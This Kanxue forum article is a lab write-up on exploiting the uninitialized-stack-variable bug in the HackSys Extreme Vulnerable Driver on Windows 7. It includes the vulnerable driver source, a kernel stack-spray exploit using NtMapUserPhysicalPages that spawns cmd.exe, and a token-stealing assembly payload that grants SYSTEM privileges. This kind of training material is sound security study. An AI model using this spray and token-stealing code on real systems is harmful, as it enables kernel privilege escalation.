本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa
一
概述
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
二
漏洞点分析
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };//安全版本:栈变量初始化了
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory;//不安全版本:栈变量未初始化
#endif
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
//
// Get the value from user mode
//
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
//
// Validate the magic value
//
if (UserValue == MagicValue) {
UninitializedMemory.Value = UserValue;
UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
}
DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif
//
// Call the callback function
//
if (UninitializedMemory.Callback)//在此处判断回调函数是否为0,否则可利用0页内存,
{
UninitializedMemory.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
三
漏洞利用
case HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK:
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
Status = UninitializedMemoryStackIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
break;
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
//#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
int main()
{
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[-]failed to get device handle !");
return FALSE;
}
printf("[+]success to get device handle");
if (hDevice) {
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
}
kd> bp HEVD!TriggerUninitializedMemoryStack+0x53
kd> g
mov edi, edi
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_452498
push offset __except_handler3
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 10E8h
call __chkstk
NTSTATUS
``NtMapUserPhysicalPages (
``__in ``PVOID` `VirtualAddress,
``__in ``ULONG_PTR` `NumberOfPages,
``__in_ecount_opt(NumberOfPages) ``PULONG_PTR` `UserPfnArray
``)
(...)
``ULONG_PTR` `StackArray[COPY_STACK_SIZE];
#define COPY_STACK_SIZE 1024 //用作缓冲区
PoolArea = (PVOID)&StackArray[0];
(...)
if (NumberOfPages > COPY_STACK_SIZE) {
PoolArea = ExAllocatePoolWithTag (NonPagedPool,
NumberOfBytes,
'wRmM');
if (PoolArea == NULL) {
return STATUS_INSUFFICIENT_RESOURCES;
}
}
(...)
Status = MiCaptureUlongPtrArray (PoolArea,
UserPfnArray,
NumberOfPages);
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
void payload()
{
..
}
int main()
{
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[-]failed to get device handle \n");
return FALSE;
}
printf("[+]success to get device handle\n");
if (hDevice) {
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0x12345678;
//栈喷射
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages\n");
return;
}
PDWORD KernelStackSpray = (PDWORD)malloc(4096);
memset(KernelStackSpray, 0x41, 4096);
printf("[+]KernelStackSpray: 0x%p\n", KernelStackSpray);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(KernelStackSpray + i) = (DWORD)&payload;
}
NtMapUserPhysicalPages(NULL, 1024, KernelStackSpray);
//触发漏洞,执行payload
DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, 4, NULL, 0, &bReturn, NULL);
//cmd
printf("[+]Start to Create cmd...\n");
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL Return = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (Return) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
system("pause");
return 0;
}
}
_KPCR
+0x120 PrcbData : _KPRCB
_KPRCB
+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState : _KAPC_STATE
_KAPC_STATE
+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
+0x0b4 UniqueProcessId : Ptr32 Void,当前进程ID,系统进程ID=0x04
+0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
+0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限
VOID payload()
{
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
ret
}
}
四
补丁分析
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
五
参考文档
看雪ID:pyikaaaa
https://bbs.pediy.com/user-home-921642.htm
# 往期推荐
2.内核漏洞学习-HEVD-NullPointerDereference
4.Windows内核逆向——<中断处理 从硬件机制到用户驱动接管>
球分享
球点赞
球在看
点击“阅读原文”,了解更多!